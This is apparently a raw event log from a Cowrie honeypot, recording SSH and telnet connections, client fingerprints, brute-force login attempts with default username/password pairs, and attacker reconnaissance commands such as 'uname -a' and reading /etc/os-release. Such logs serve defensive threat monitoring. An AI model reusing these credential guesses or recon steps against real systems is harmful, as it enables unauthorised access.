{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:22.396384Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53750,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c69a1bc6a64","protocol":"ssh","message":"New connection: 160.187.174.22:53750 (159.203.135.109:22) [session: 3c69a1bc6a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:23.828925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:23.831744Z","src_ip":"160.187.174.22","session":"3c69a1bc6a64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:24.100362Z","src_ip":"160.187.174.22","session":"3c69a1bc6a64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:25.399637Z","src_ip":"160.187.174.22","session":"3c69a1bc6a64","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:26.069148Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a && echo \"====\" && cat /etc/os-release","message":"CMD: uname -a && echo \"====\" && cat /etc/os-release","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:26.072239Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:26.330664Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:26.636455Z","src_ip":"160.187.174.22","session":"3c69a1bc6a64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":52270,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaa131369cc5","protocol":"ssh","message":"New connection: 91.92.40.153:52270 (10.17.0.5:22) [session: aaa131369cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:27.848049Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:28.061443Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:28.064731Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:28.465744Z","src_ip":"91.92.40.153","session":"aaa131369cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:28.470156Z","src_ip":"91.92.40.153","session":"aaa131369cc5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:28.741575Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.0","message":"Connection lost after 7.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:28.745000Z","src_ip":"91.92.40.153","session":"edf9bf623220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:30.890357Z","src_ip":"91.92.40.153","session":"aaa131369cc5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","size":86,"shasum":"e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75","duplicate":true,"duration":"5.8","message":"Closing TTY Log: var/lib/cowrie/tty/e6a4d39150f36bcd4091414bb11049e52a05151d771cf9de4a313cdc7f808a75 after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:31.905482Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"47.5","message":"Connection lost after 47.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:31.910459Z","src_ip":"139.99.74.35","session":"298c36e706b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:32.119573Z","src_ip":"91.92.40.153","session":"aaa131369cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":52212,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fa9f8910050","protocol":"ssh","message":"New connection: 139.99.74.35:52212 (159.203.135.109:22) [session: 5fa9f8910050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:32.211252Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":45100,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8f39ea91a6","protocol":"ssh","message":"New connection: 162.254.35.142:45100 (10.17.0.5:22) [session: 4d8f39ea91a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:32.981171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:32.985621Z","src_ip":"162.254.35.142","session":"4d8f39ea91a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:33.050263Z","src_ip":"162.254.35.142","session":"4d8f39ea91a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G3m1n1!M@st3r","message":"login attempt [root/G3m1n1!M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:33.245252Z","src_ip":"162.254.35.142","session":"4d8f39ea91a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.56266856193542,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:33.535447Z","src_ip":"170.64.224.25","session":"9f792aea92b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:34.311941Z","src_ip":"162.254.35.142","session":"4d8f39ea91a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60912,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e9079b7872","protocol":"ssh","message":"New connection: 91.92.40.153:60912 (10.17.0.5:22) [session: 77e9079b7872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:35.310252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:35.371561Z","src_ip":"91.92.40.153","session":"77e9079b7872","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:35.454252Z","src_ip":"91.92.40.153","session":"77e9079b7872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:35.977427Z","src_ip":"91.92.40.153","session":"77e9079b7872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.59215593338013,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:36.451509Z","src_ip":"170.64.224.25","session":"ee196bb5ac95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:37.344465Z","src_ip":"91.92.40.153","session":"77e9079b7872","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:38.015304Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:38.018214Z","src_ip":"139.99.74.35","session":"5fa9f8910050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":38742,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe4a9225e22","protocol":"ssh","message":"New connection: 176.32.39.21:38742 (159.203.135.109:22) [session: cfe4a9225e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.466573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.470780Z","src_ip":"176.32.39.21","session":"cfe4a9225e22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.587135Z","src_ip":"176.32.39.21","session":"cfe4a9225e22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":60968,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9ca0d1557d","protocol":"ssh","message":"New connection: 91.92.40.153:60968 (10.17.0.5:22) [session: af9ca0d1557d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.595343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.753891Z","src_ip":"91.92.40.153","session":"af9ca0d1557d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.758660Z","src_ip":"91.92.40.153","session":"af9ca0d1557d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7532159","message":"login attempt [root/7532159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:41.937714Z","src_ip":"176.32.39.21","session":"cfe4a9225e22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:09:42.765821Z","src_ip":"91.92.40.153","session":"af9ca0d1557d","protocol":"ssh"}
